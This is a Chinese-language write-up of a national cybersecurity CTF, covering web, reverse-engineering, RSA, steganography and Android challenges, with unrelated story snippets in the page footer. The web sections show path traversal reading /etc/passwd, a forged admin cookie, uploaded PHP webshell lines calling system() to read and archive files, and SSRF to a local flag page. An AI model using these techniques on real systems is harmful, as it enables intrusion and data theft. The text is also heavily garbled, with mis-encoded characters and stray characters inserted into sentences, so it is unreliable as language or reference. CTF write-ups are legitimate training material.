第四屆全國(guó)網(wǎng)絡(luò)空間安全技術(shù)大賽 writeup

web2

進(jìn)去后url如下:

http://117.34.116.192/index.php?file=login.html

這道題一看url格式,便考慮到PHP文件包含枷遂。但是使用php://filterphp://input進(jìn)行測(cè)試的時(shí)候持灰,發(fā)現(xiàn)“:”被過(guò)濾了丁屎。
于是一套亂摸,倒是摸到了兩個(gè)敏感文件:

http://117.34.116.192/index.php?file=../../../../etc/apache2/apache2.conf
http://117.34.116.192/index.php?file=../../../../etc/passwd

都能讀出來(lái)呼股,但沒(méi)什么用耕魄,想找aceess.log也沒(méi)找到。
后來(lái)發(fā)現(xiàn)存在git源碼泄漏:

于是使用githack這個(gè)工具彭谁,下載到了網(wǎng)站源碼:


查看了一下index.php吸奴,發(fā)現(xiàn)是php-screw加密的,到網(wǎng)上查了下缠局,使用下面這款工具可以解密:
https://github.com/firebroo/screw_decode
解出來(lái)index.php源碼如下:

<?php
    error_reporting(0);
    if(!isset($_GET['file'])||empty($_GET['file'])){
         header('Refresh:1,url=index.php?file=login.html');
         die;
    }
    $file  = $_GET['file'];

    if ((strpos($file,':')!==false)){
        header('Refresh:1,url=index.php?file=login.html');
        echo "illgal filename!!";
        die;
    }
    include_once($file);
?>

果然過(guò)濾了“:”则奥。無(wú)奈審計(jì)了一下upload.php:

 <?php
    function Administrator($value){
        if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
            return False;
        }
        setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
        if(!empty($_COOKIE['in_permission'])){
            $array=explode(",",$_COOKIE['in_permission']);
            $adminlogined=false;
            for($i=0;$i<count($array);$i++){
                if($array[$i]==$value){$adminlogined=true;}
            }
            if(!$adminlogined){
                return False;
            }
        }else{
            return False;
        }
        return true;
    }
    if (Administrator(2)){
        if(isset($_FILES['file'])){
            $filename = './img/img'.rand().'.jpg';
            move_uploaded_file($_FILES["file"]["tmp_name"],$filename);
            header('Refresh:3,url=index.php?file=upload.php');
            echo "Upload $filename Success!";
            die;
        }
    }else{
        header('Refresh:3,url=index.php?file=login.html');
        echo "Who are you!";
        die;
    }
?>
<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="../../favicon.ico">
    <title>圖床后臺(tái)</title>
    <link  rel="stylesheet">
    <link href="starter-template.css" rel="stylesheet">
  </head>
  <body>
    <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
    <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>     
    <form class="form-horizontal" action="upload.php" method="post" enctype="multipart/form-data">
    <fieldset>
      <div id="legend" class="">
        <legend class="">添加圖片</legend>
      </div>
    <div class="control-group">
          <!-- Text input-->
          <label class="control-label" for="input01">圖片名</label>
          <div class="controls">
            <input placeholder="請(qǐng)輸入Message標(biāo)題" class="input-xlarge" type="text" name="title">
          </div>
        </div>

    <div class="control-group">
          <label class="control-label">附件</label>
          <!-- File Upload -->
          <div class="controls">
            <input class="input-file" id="file" type="file" name='file'>
          </div>
        </div>

    

    <div class="control-group">
          <label class="control-label">預(yù)覽</label>
          <!-- Button -->
          <div class="controls">
            <button class="btn btn-success">Submit</button>
          </div>
        </div>

    </fieldset>
  </form>
  </body>
</html>

可以偽造cookie進(jìn)行訪問(wèn),并且cookie的條件一定要滿(mǎn)足幾個(gè)條件

  1. in_permission=2
  2. in_adminid狭园、in_adminname读处、in_adminpassword、in_adminexpire都要設(shè)置
  3. in_adminexpire的值為前面幾個(gè)組成字符串的md5唱矛。
    所以罚舱,構(gòu)造cookie如下:
in_adminid=1
in_adminname=admin
in_adminpassword=admin
in_permission=2
in_adminexpire=5d7a9e2c9e55c06ac7d03e52dcacbb25

偽造cookie后可以成功訪問(wèn)upload.php:



隨便找張圖片上傳,結(jié)果正如上述源碼中一樣绎谦,會(huì)被重命名為隨機(jī)數(shù)字+.jpg管闷,并且圖片地址會(huì)顯示到前端:


image.png

這樣一來(lái)上傳網(wǎng)馬后,不能直接訪問(wèn)url運(yùn)行木馬了燥滑,但是綜合前面的文件包含渐北,可以做到讓木馬執(zhí)行。
本來(lái)想上傳個(gè)大馬铭拧,結(jié)果成功加載了赃蛛,奈何輸入密碼后頁(yè)面亂了。搀菩。呕臂。
成功出現(xiàn)大馬頁(yè)面
尷尬的頁(yè)面

大馬不能執(zhí)行,就了下?lián)Q思路肪跋,手寫(xiě)php代碼歧蒋,讀網(wǎng)站根目錄 -> 找到flag文件 -> 讀出flag。
首先是讀網(wǎng)站根目錄:

<?php echo system('ls /var/www') ?>

把這個(gè)文件上傳后,使用文件包含谜洽,成功讀出下級(jí)目錄:



接下來(lái)讀/var/www/html目錄下的文件:

<?php echo system('ls /var/www/html') ?>

flag文件明顯是f14g.php萝映,本來(lái)以為訪問(wèn)就穩(wěn)了,沒(méi)想到是個(gè)空頁(yè)面阐虚⌒虮郏看來(lái)只能把它讀出來(lái)了。
使用下面命令:

<?php echo system('cat /var/www/html/f13g.php') ?>

讀出來(lái)是這么一串:



使用php screw解密工具实束,發(fā)現(xiàn)解不出來(lái)奥秆,真的很煩人,眼看到最后一步了flag就是不出來(lái)咸灿。构订。
后來(lái)經(jīng)過(guò)比對(duì),發(fā)現(xiàn)應(yīng)該是網(wǎng)頁(yè)編碼的原因避矢,能正常解密的如下圖上半部分所示悼瘾,下半部分的明顯跟它長(zhǎng)的不一樣。所以還得換種思路


后來(lái)想到了一個(gè)騷操作谷异,既然訪問(wèn)亂碼分尸,那干脆把你壓縮后下載下來(lái)不就完事了?
騷代碼如下:

<?php
system('tar zvcfP /var/www/html/img/img123.tar /var/www/html/f14g.php');

注意歹嘹,考慮到網(wǎng)站根目錄可能不存在寫(xiě)權(quán)限箩绍,把它寫(xiě)到img文件夾下面是比較穩(wěn)的選擇。
執(zhí)行完后尺上,下載img123.tar材蛛,成功得到flag文件,這次使用php screw解密工具怎抛,終于拿到了flag……



web狗的生存越來(lái)越艱難了卑吭。。

后記:
看別人的writeup马绝,是寫(xiě)了個(gè)一句木馬連上的豆赏。。當(dāng)時(shí)大馬連接失敗后為什么沒(méi)用這個(gè)富稻,唉掷邦。可以省不少時(shí)間

re1

題目給了一個(gè)pyc文件椭赋,可以用uncompyle2轉(zhuǎn)成py文件

發(fā)現(xiàn)主要是把輸入作為encodestr()函數(shù)的參數(shù)抚岗,然后將返回值與一個(gè)數(shù)組比較。
看encodestr函數(shù)哪怔,發(fā)現(xiàn)keyc為輸入求md5取后4位宣蔚,string的末尾是輸入字符串向抢,只有這兩個(gè)變量直接受輸入影響,其他一些變量都是已知或受keyc影響胚委,而string只在最后異或來(lái)求result挟鸠。也就是說(shuō)可以爆破keyc,通過(guò)result反求出string篷扩,如果string的末尾(輸入內(nèi)容)求md5的后4位與keyc相等兄猩,就說(shuō)明得到了正確的string茉盏。爆破腳本如下:

#! /usr/bin/env python 2.7 (62211)
#coding=utf-8

from hashlib import md5
import base64
from time import time
from datetime import datetime
import sys
 
def encodestr(keyc):
    UC_KEY = '123456789'
    key = md5(UC_KEY.encode('utf-8')).hexdigest()
    keya = md5(key[0:16].encode('utf-8')).hexdigest()
    keyb = md5(key[16:32].encode('utf-8')).hexdigest()
    ckey_length = 4
    #keyc = md5(string.encode('utf-8')).hexdigest()[-ckey_length:] #輸入md5后4位
    cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest() #后4位與確定數(shù)的md5
    key_length = len(cryptkey)
    expiry = 20
    #string = '%10d' % expiry + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
    box = range(256)
    rndkey = [0] * 256
    for i in range(256):
        rndkey[i] = ord(cryptkey[i % key_length])
 
    string_length = 49
    d = [128, 220, 109, 113, 242, 153, 181, 203, 21, 122, 2, 101, 42, 55, 56, 19, 190, 181, 99, 47, 217, 109, 129, 221, 9, 65, 235, 48, 197, 103, 123, 86, 25, 112, 172, 175, 42, 168, 232, 81, 224, 170, 16, 210, 98, 229, 15, 30, 134]

    j = 0
    for i in range(256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
 
    a = 0
    j = 0
    string=''
    for i in range(string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        string+=chr(d[i]^box[(box[a] + box[j])%256])
    try:
        
        a=md5(string[26:].encode('utf-8')).hexdigest()[-ckey_length:]
        #print a
        if a==keyc:
            print string[26:]
            return 1
    except:
        pass
    return 0
 
 
mdstr='1234567890abcdef'
for c1 in mdstr:
    s1=c1
    for c2 in mdstr:
        s2=s1+c2
        for c3 in mdstr:
            s3=s2+c3
            for c4 in mdstr:
                s4=s3+c4
                encodestr(s4)


re2

第一個(gè)驗(yàn)證函數(shù)如下:



因?yàn)槭敲總€(gè)字符ascii值模37鉴未,其實(shí)范圍已經(jīng)很小了,直接把每個(gè)字符可能的結(jié)果打印一下就基本就能判斷出來(lái)了鸠姨,腳本如下:

array=[0,0x23,0x19,0x16,0x22,0x08,0x17,0x18,0x12,0x17,0x1C,0x01,0x21]
flag=[]
for i in range(12):
    s=''
    for c in range(0x20,0x7f):
        if (c + array[i])%37==array[i+1]:s+=chr(c)
    flag.append(s)
print flag

可以推出來(lái)就是Hell0~Kitty


rsa1

正常RSA的原理是:
ed=1 % phi_n
加密:c=m^e%n
解密:m=cd=m(e
d)=m%n

這道題里铜秆,利用Crypto庫(kù)的inverse函數(shù)求e模phi_n的逆d(當(dāng)然結(jié)果并不是真正的逆,因?yàn)閮烧卟换ニ兀┭惹ǎ?jì)算e*d % phi_n连茧,結(jié)果為8,這樣解密過(guò)程就成了:


故求出的結(jié)果是明文的8次方
腳本如下:

from Crypto.Util.number import bytes_to_long, getStrongPrime, GCD, inverse, isPrime
p=111052706592359766492182549474994387389169491981939276489132990221393430874991652628482505832745103981784837665110819809096264457329836670397000634684595709283710756727662219358743235400779394350023790569023369287367240988429777113514012101219956479046699448481988253039282406274512111898037689623723478951613
q=146182161315365079136034892629243958871460254472263352847680359868694597466935352294806409849433942550149005978761759458977642785950171998444382137410141550212657953776734166481126376675282041461924529145282451064083351825934453414726557476469773468589060088164379979035597652907191236468744400214917268039573
e=200
c=7797067792814175554801975939092864905908878472965854967525218347636721153564161093453344819975650594936628697646242713415817737235328825333281389820202851500260665233910426103904874575463134970160306453553794787674331367563821223358610113031883172742577264334021835304931484604571485957116313097395143177603380107508691261081725629713443494783479897404175199621026515502716868988672289887933681890547568860707175288422275073767747544353536862473367590288531216644146154729962448906402712219657000812226637887827912541098992158458173920228864293993030475885461755767069329678218760943185942331149777258713727459739405
fin=(q-1)*(p-1)

d = inverse(e, fin)

print (e*d)%(fin) #e*d=8 %(fin)
s=pow(c,d,q*p)
print s

結(jié)果為:

8790672647699888791168395876725267498380050204509042605325148440775761512060209862878377062250498277565324799241101114626203022698873680727368886696009248411945050428305804829613871379890954039096785744465245794789247131505229329627996841022729341182437065625045609809888462300362847200777304046131988810944506109283470335905223526693623008137885581446429211468764465976794495528511148211351567422881

在大數(shù)分解網(wǎng)站http://www.factordb.com/index.php 上分解可以得出開(kāi)8次方的結(jié)果巍糯,轉(zhuǎn)hex每2位轉(zhuǎn)字符就得到flag了啸驯。


misc2 wp

題目提示這題可以在windows下解。

顯而易見(jiàn)有ntfs流藏匿文件祟峦。

下載壓縮包后罚斗,7-zip打開(kāi)可以看到ntfs流隱藏的文件。

用word打開(kāi)看了一遍宅楞,就只是個(gè)我有個(gè)夢(mèng)想的英文版针姿。

抖了個(gè)機(jī)靈用notepad打開(kāi),搜索f l a g(注意有空格)厌衙,搜到了前半截flag距淫。

這時(shí)候就陷入了江江江局。后面又抖了個(gè)機(jī)靈搜索 }婶希, 于是拿到了后半截flag榕暇。

安卓 基礎(chǔ)加密

進(jìn)入看到MainActivity,關(guān)鍵代碼如下喻杈,邏輯很清楚彤枢,就是輸入的數(shù)字經(jīng)過(guò)reinforce函數(shù)處理后作為submitFlag函數(shù)參數(shù)傳入可以使返回值為1.


兩個(gè)函數(shù)都是原生函數(shù)。


  1. 先看submitFlag


只是校驗(yàn)傳入的字符串是否等于CxU+NEhbEVZDaWAmHUAlVgtxZ1lPaCQHBUoKQG4zJlk=奕塑,是則返回1

  1. 再看reinforce



    對(duì)字符串用passchange函數(shù)和encode函數(shù)處理后得到返回的字符串

Passchange 函數(shù):將字符串依次與dest的每個(gè)字符異或堂污,注意dest字符串為”my_S3cr3t_P@$$W0rD\0”,長(zhǎng)度為0x13



Encode函數(shù)是一個(gè)base64編碼功能龄砰。
解題代碼如下:

import base64

s = 'CxU+NEhbEVZDaWAmHUAlVgtxZ1lPaCQHBUoKQG4zJlk='
print len(s)
dest = 'my_S3cr3t_P@$$W0rD\0'
res = base64.b64decode(s)
result = ''
for i in xrange(len(res)):
    result+=chr(ord(res[i])^ord(dest[i%0x13]))
print result


misc第一題盟猖,圖片隱寫(xiě)

先用binwalk提取出隱藏文件讨衣,一個(gè)zip和一個(gè)txt,zip解壓出的文件和txt一樣式镐,就不說(shuō)了反镇。binwalk命令如下:

binwalk -e xxx.jpg

從stego.txt可以明顯看出是base64編碼過(guò)的,decode后發(fā)現(xiàn)有base64隱寫(xiě)娘汞。跑腳本找出隱寫(xiě)內(nèi)容歹茶,腳本如下:

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s1)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res

def solve_stego():

    with open('stego.txt', 'rb') as f:
        file_lines = f.readlines()

    bin_str = ''
    for line in file_lines:
        steg_line = line.replace('\n', '')
        norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
        diff = get_base64_diff_value(steg_line, norm_line)

        pads_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pads_num * 2)

        else:
            bin_str += '0' * pads_num * 2

    res_str = ''

    for i in xrange(0, len(bin_str), 8):

        res_str += chr(int(bin_str[i:i+8], 2))
    print res_str

solve_stego()

輸出內(nèi)容即為flag內(nèi)容

Web1 轉(zhuǎn)自:https://www.anquanke.com/post/id/144862#h3-3

http://117.34.117.216
訪問(wèn)后跳轉(zhuǎn)到登錄頁(yè)面
http://117.34.117.216/login.php
發(fā)現(xiàn)有注冊(cè),隨意注冊(cè)一個(gè)賬號(hào)你弦,登錄后


發(fā)現(xiàn)要以admin的身份訪問(wèn)flag.php
查看源代碼惊豺,發(fā)現(xiàn)還有change_password的功能

同時(shí)發(fā)現(xiàn)cookie中有username項(xiàng)

猜想可能存在越權(quán)問(wèn)題
進(jìn)入修改密碼頁(yè)面:

發(fā)現(xiàn)未做username的check
猜想直接使用了cookie中的username
隨機(jī)修改cookie中的username為admin
同時(shí)修改密碼
成功登入,來(lái)到管理頁(yè)面:

發(fā)現(xiàn)可以獲取遠(yuǎn)程圖片
隨手測(cè)試,發(fā)現(xiàn)題目會(huì)將遠(yuǎn)程訪問(wèn)到的頁(yè)面內(nèi)容寫(xiě)到本地的圖片img目錄中
嘗試訪問(wèn)
http://127.0.0.1/flag.php
下載圖片文件后獲得flag:

得到flag
flag{dbf6e52d69973dd16d87d4a8c3816ca9}

這道題我做的時(shí)候做到最后一步禽作,實(shí)在是沒(méi)想到加載http://127.0.0.1/flag.php,
我當(dāng)時(shí)寫(xiě)了個(gè)http://localhost/flag.php
好氣笆痢!?醭ァE胨住!F汲獭4蓖!C8骸=对А!


第一天晚上的時(shí)候朽褪,還沖到了并列第一置吓,第二天一道沒(méi)解出來(lái)……最后成績(jī)很爛。就做出來(lái)這些題目缔赠,好歹進(jìn)了線下衍锚。



最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市嗤堰,隨后出現(xiàn)的幾起案子戴质,更是在濱河造成了極大的恐慌,老刑警劉巖踢匣,帶你破解...
    沈念sama閱讀 206,723評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件告匠,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡离唬,警方通過(guò)查閱死者的電腦和手機(jī)后专,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,485評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)输莺,“玉大人戚哎,你說(shuō)我怎么就攤上這事裸诽。” “怎么了型凳?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,998評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵丈冬,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我甘畅,道長(zhǎng)埂蕊,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,323評(píng)論 1 279
  • 正文 為了忘掉前任疏唾,我火速辦了婚禮蓄氧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘荸实。我一直安慰自己匀们,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,355評(píng)論 5 374
  • 文/花漫 我一把揭開(kāi)白布准给。 她就那樣靜靜地躺著,像睡著了一般重抖。 火紅的嫁衣襯著肌膚如雪露氮。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,079評(píng)論 1 285
  • 那天钟沛,我揣著相機(jī)與錄音畔规,去河邊找鬼。 笑死恨统,一個(gè)胖子當(dāng)著我的面吹牛叁扫,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播畜埋,決...
    沈念sama閱讀 38,389評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼莫绣,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了悠鞍?” 一聲冷哼從身側(cè)響起对室,我...
    開(kāi)封第一講書(shū)人閱讀 37,019評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎咖祭,沒(méi)想到半個(gè)月后掩宜,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,519評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡么翰,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,971評(píng)論 2 325
  • 正文 我和宋清朗相戀三年牺汤,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片浩嫌。...
    茶點(diǎn)故事閱讀 38,100評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡檐迟,死狀恐怖戴已,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情锅减,我是刑警寧澤糖儡,帶...
    沈念sama閱讀 33,738評(píng)論 4 324
  • 正文 年R本政府宣布,位于F島的核電站怔匣,受9級(jí)特大地震影響握联,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜每瞒,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,293評(píng)論 3 307
  • 文/蒙蒙 一金闽、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧剿骨,春花似錦代芜、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,289評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至贷掖,卻和暖如春嫡秕,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背苹威。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,517評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工昆咽, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人牙甫。 一個(gè)月前我還...
    沈念sama閱讀 45,547評(píng)論 2 354
  • 正文 我出身青樓掷酗,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親窟哺。 傳聞我的和親對(duì)象是個(gè)殘疾皇子泻轰,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,834評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn)脏答,斷路器糕殉,智...
    卡卡羅2017閱讀 134,600評(píng)論 18 139
  • 2018/3/16 17:34:51 WEB題 1.簽到題 題目:key在哪里? writeup:查看源代碼即可獲...
    Sec小玖閱讀 22,369評(píng)論 1 11
  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯(cuò)誤的地方希望大家多多指出殖告,多謝多謝 WEB2 點(diǎn)...
    yangc隨想閱讀 54,236評(píng)論 11 16
  • Lua 5.1 參考手冊(cè) by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 13,743評(píng)論 0 38
  • git其實(shí)是是一個(gè)不用網(wǎng)絡(luò)的倉(cāng)庫(kù)(本地倉(cāng)庫(kù))阿蝶,你也可以把數(shù)據(jù)push到github上(遠(yuǎn)程倉(cāng)庫(kù))。 你現(xiàn)在的pul...
    p712long閱讀 252評(píng)論 0 0